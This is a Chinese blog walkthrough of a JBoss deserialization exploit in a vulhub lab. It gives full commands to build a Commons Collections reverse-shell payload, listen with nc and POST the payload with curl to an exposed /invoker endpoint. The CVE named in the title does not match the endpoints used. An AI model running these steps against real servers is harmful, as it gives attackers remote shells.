JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

最新推荐文章于 2024-09-26 20:52:03 发布
最新推荐文章于 2024-09-26 20:52:03 发布
阅读量329 收藏 5
点赞数 1
文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_81881972/article/details/142467423
版权

环境

vulhub/jboss/JMXInvokerServlet-deserialization

复现

此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。访问若提示下载

JMXInvokerServlet，则可能存在漏洞：

1.访问123.57.211.129:8081/invoker/JMXInvokerServlet

使⽤JavaDeserH2HC进⾏反弹shell

#创建class⽂件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHa
shMap.java
#创建反序列化⽂件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 47.121.212.101:6666
#监听 6666 端⼝
nc -lvvp 6666
#psot提交
curl http://123.57.211.129:8081/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

创建class⽂件

创建反序列化⽂件

监听6666端⼝

psot提交

完成

你不要在理我了
关注
【漏洞复现】JBoss(CVE-2017-12149)反序列化漏洞
做自己喜欢的事，并将其发挥到极致！
03-24 567
文章目录声明前言一、漏洞描述二、漏洞原理三、漏洞分析JBoss反序列化漏洞分析四、影响版本五、漏洞利用实战复现六、漏洞修复修复原理方法一方法二方法三 声明 本篇文章仅用于漏洞研究和技术学习，切勿用于未授权下的渗透测试行为，切记！ 前言 JBoss 存在反序列化漏洞，攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危。 一、漏洞描述 JBoss是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3的规范。 在 /invoker/readonly 路径下
【Vulhub】CVE-2017-7504 JBOSS反序列化漏洞复现
看不尽的尘埃——博客
02-07 9031
环境 目标(Kali)：http://192.168.0.11:8080/ 操作机（Paroot）：192.168.0.131     过程 CVE-2017-12149和CVE-2017-7504都是反序列化漏洞，因此用的东西都是一样的，笔者这里使用上次复现CVE-2017-12149的时候的POC文件。 笔者还特别查了下两种区别： CVE-2017-7504 影响范围...
jboss CVE-2015-7501 反序列化漏洞
读书 买花 长大
06-04 1386
CVE-2015-7501
CVE-2017-12149-JBoss JMXInvokerServlet 反序列化漏洞
我总结了以下六点......
07-04 842
这是经典的JBoss反序列化漏洞，JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。
Jboss CVE-2017-12149JBoss 反序列化漏洞利用
baiyongliang
06-13 2460
CVE-2017-12149 漏洞描述 互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149)，远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)。 影响范围 漏洞影响5.x和6.x版本的JBOSSAS。 漏洞原理 JBOSS Application Server是一个基于J2EE的开放...
JBoss漏洞 - CVE-2017-7504
HAKUNAMATATATTA的博客
12-14 2608
JBoss AS 4.x 及之前版本中， JbossMQ 实现过程的 JMS over HTTP Invocation Layer 的HTTPServerILServlet.java 文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。CVE-2017-7504 漏洞与 CVE-2015-7501 的漏洞原理相似，只是利用的路径稍微出现了变化， CVE-2017-7504 出现在 /jbossmq-httpil/HTTPServerILServlet 路径下。
JBoss反序列漏洞（CVE-2017-7504）
weixin_46411728的博客
09-05 1486
JBoss反序列漏洞（CVE-2017-7504）
Jboss漏洞 （CVE-2017-12149）
qq_68186313的博客
08-07 243
该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过 滤器中。该过滤器在没有进⾏任何安全检查的情况下尝试将来⾃客户端的数据流进⾏反序列化，从⽽导 致了漏洞。2、使⽤⼯具进⾏检测 DeserializeExploit 如果成功直接上传webshell即可。返回500，说明⻚⾯存在，此⻚⾯存在反序列化漏洞。1、访问，验证是否存在漏洞。
【CVE-2017-12149】JBoss JMXInvokerServlet 反序列化漏洞
我总结了以下六点......
07-11 1045
JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用；JBoss也是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域，JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发，并且由开源社区开发，这使得JBoss广为流行。
JBossMQJMS 反序列化漏洞（CVE-2017-7504）漏洞利用工具
07-23
JBossMQJMS 反序列化漏洞（CVE-2017-7504）是针对企业级Java消息服务（JMS）提供商JBossMQ的一个严重安全问题。该漏洞源于应用程序未能正确处理反序列化的对象，使得攻击者可以通过精心构造的恶意输入触发任意代码...
Jboss Application Server反序列化命令执行漏洞利用工具（CVE-2017-12149）
07-23
在2017年，它被发现存在一个严重的安全漏洞，被称为CVE-2017-12149，这是一个反序列化漏洞，允许远程攻击者通过精心构造的输入来执行任意系统命令，从而对受影响的系统造成严重威胁。 反序列化是将已序列化的对象...
网络管理：防火墙和安全组配置详解
Echo_Wish的博客
09-22 544
通过本文的介绍，您已经了解了防火墙和安全组的基本概念、配置方法以及常见的使用场景。从安装和配置防火墙，到创建和管理安全组，每一步都至关重要。希望这篇文章能帮助您更好地掌握网络管理的基本技能。如果您有任何问题或需要进一步的帮助，请随时联系我。祝您运维工作顺利！
聚铭下一代智慧安全运营中心荣获CNNVD兼容性资质证书
juminfo的博客
09-23 444
近日，聚铭网络旗下安全产品——聚铭下一代智慧安全运营中心正式通过了国家信息安全漏洞库（CNNVD）兼容性认证测试，荣获国家信息安全漏洞库兼容性资质证书。
安卓开发中，可以反射去换肤，那么我们应该也可以使用反射去串改我们的程序，作为开发者，我们如何保证我们自己的应用的安全呢？
qq_43664361的博客
09-22 482
在安卓开发中，虽然反射提供了强大的动态操作能力，包括访问和修改类、接口、字段以及方法，但这也为潜在的恶意攻击者提供了篡改程序的可能性。作为开发者，我们需要采取一系列措施来确保自己应用的安全，防止反射被用于非法目的。
数据库的全透明加密和半透明加密主要是针对数据存储安全的不同处理方式
weixin_45699851的博客
09-25 200
对于应用程序来说，它处理的是密文，而加密过程和解密过程都是由数据库系统在后台自动完成的。这种模式下，开发者几乎察觉不到加密的存在，查询和操作的速度不会受到影响，因为大部分加密操作都在内存中快速完成。当数据被插入到数据库时，它会被加密，但对于读取数据的应用程序来说，它仍然能看到明文结果。这意味着应用程序需要知道如何处理加密后的数据，比如查询前先解密，然后对解密后的数据进行操作，再加密返回给客户端。这种方式牺牲了一些便利性，但可以提供更好的性能，因为它不需要每次查询都做完整的加密解密处理。
网络编程（5）——模拟伪闭包实现连接的安全回收
最新发布
m0_63086198的博客
09-26 488
new_session通过bind绑定时，new_session的计数就会加一，所以在bind后，new_session的生命周期和新构造函数的生命周期相同，因为新生成的函数对象引用了new_session（new_session通过值传递的方式被复制构造函数使用）。，但是通过bind操作，将new_session作为数值传递给bind函数，而bind函数返回的函数对象内部引用了该new_session所以引用计数增加1，这样保证了new_session不会被释放。今天学习如何通过C11智能指针构造伪。
黎巴嫩BP机爆炸事件启示录：我国应加快供应链安全立法
09-21 1218
据报道，当地时间9月17日下午，黎巴嫩首都贝鲁特以及黎巴嫩东南部和东北部多地都发生了BP机爆炸事件。当时的统计数据显示，爆炸造成9人死亡，约2800人受伤。9月18日，死亡人数上升到11人，受伤人数超过4000。目前，整个事件仍在发酵之中，关于BP机是谁制造、谁运输、谁在其中动了手脚还在持续探索之中。这一事件也引发了人们对于供应链安全的广泛关注。供应链的任何环节，包括产品的源头、生产环节、运输过程...
从《GTA5》的反外挂斗争看网络安全的重要性
@云安全小杜
09-26 357
本文将探讨《GTA5》在对抗外挂过程中遇到的挑战，特别是当游戏开发者试图增强游戏安全性时所遭受的DDoS攻击，并从中提炼出对于网络安全的一些启示。然而，随着游戏人气的增长，一些不法分子开始利用技术手段制作并销售外挂程序，这些程序可以让使用者在游戏中获得不公平的优势，从而破坏了游戏环境。请注意，以上内容是基于假设的情景编写的技术分析文章，实际案例可能涉及更多的细节和技术层面的问题。《GTA5》与外挂之间的斗争提醒我们，在享受数字世界带来的便利的同时，也需要时刻警惕潜在的安全风险，并积极采取措施加以防范。
jboss反序列化漏洞
08-16
JBoss反序列化漏洞是指JBoss应用服务器中存在的一种安全漏洞，具体表现为Java反序列化错误类型。该漏洞存在于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致漏洞的出现。攻击者可以利用此漏洞发送特制的请求，通过发送包含恶意序列化数据的POST请求到`/invoker/readonly`路径，实现远程代码执行的攻击。这个漏洞可以在JBoss 5.x和6.x版本中被利用。如果访问`http://ip:端口/jbossmq-httpil/HTTPServerILServlet`出现相关页面，就可能存在该漏洞。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [jboss反序列化漏洞](https://blog.csdn.net/weixin_48776804/article/details/116919336)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [JBOSS反序列化漏洞](https://blog.csdn.net/weixin_52206305/article/details/125534761)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值